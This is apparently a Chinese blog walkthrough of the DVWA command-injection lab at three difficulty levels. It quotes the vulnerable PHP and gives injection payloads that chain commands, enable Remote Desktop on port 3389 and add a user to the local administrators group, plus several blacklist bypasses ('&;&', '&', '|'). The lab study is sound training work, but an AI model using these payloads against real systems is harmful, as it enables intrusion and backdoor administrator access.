DVWA--Command Injection

首先我们查看源代码一下

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

这里对一些函数进行解释

stristr(string,search,before_search)

stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为“false” ,如果设置为 “true”,函数将返回 search 参数第一次出现之前的字符串部分。

php_uname(mode)

这个函数会返回运行php的操作系统的相关描述,参数mode可取值a(此为默认,包含序列s n r v m里的所有模式),s (返回操作系统名称),n(返回主机名),r(返回版本名称),v(返回版本信息), m(返回机器类型)。

可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

漏洞的利用

windowlinux系统都可以用&&来执行多条命令

127.0.0.1&& net user

 可以看见危害之大

127.0.0.1&& netstat -ano

 这里还可以执行命令查看服务器端口运行情况

 

我们通过这个漏洞先打开3389端口 然后在添加一个用户组进去进行攻击  win打开3389端口的命令

127.0.0.1&& wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
关闭代码

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

然后查看端口开放情况

这里我们看见3389端口被打开 我们现在可以进行对用户组的操作进行远程链接 

 命令如下

net user 用户名 密码 /add   net localgroup administrators 用户名 /add

进行第一跳语句的时候发现360拦截了 证明语句成功

这里我们就不演了 因为危害有点大

这就是command injection的漏洞利用远程代码执行 危害的初级利用

0x02 中级别的

老规矩我们先进行一波代码的审计

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

看见这里把&&和;删除了

这里我们可以构造这种方法来进行绕过

127.0.01 &;& netstat -ano

当然我们也可以进行

127.0.01 & netstat -ano

Command 1&&Command 2

先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

Command 1&Command 2

先执行Command 1,不管是否成功,都会执行Command 2

结果一样的

然后执行攻击命令和初级的一样了

0x03我们来查看high级别的

源码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

这里看见增加了更多符号的过滤让我们寸步难行吗?

这里小编是没有办法的 但是去别人的博客看见了一个很6东西 因为 |(高级过滤这个的时候|后面还有一个空格 )因此|就成为了漏网之鱼

127.0.0.1|net user

这里因为过滤了-所以很多命令都不能执行 小编编能力有限找不到绕过方式 找了一上午 尝试了各种编码 也不行

慢慢来吧 一步一步积累

原文地址:https://www.cnblogs.com/-zhong/p/10879969.html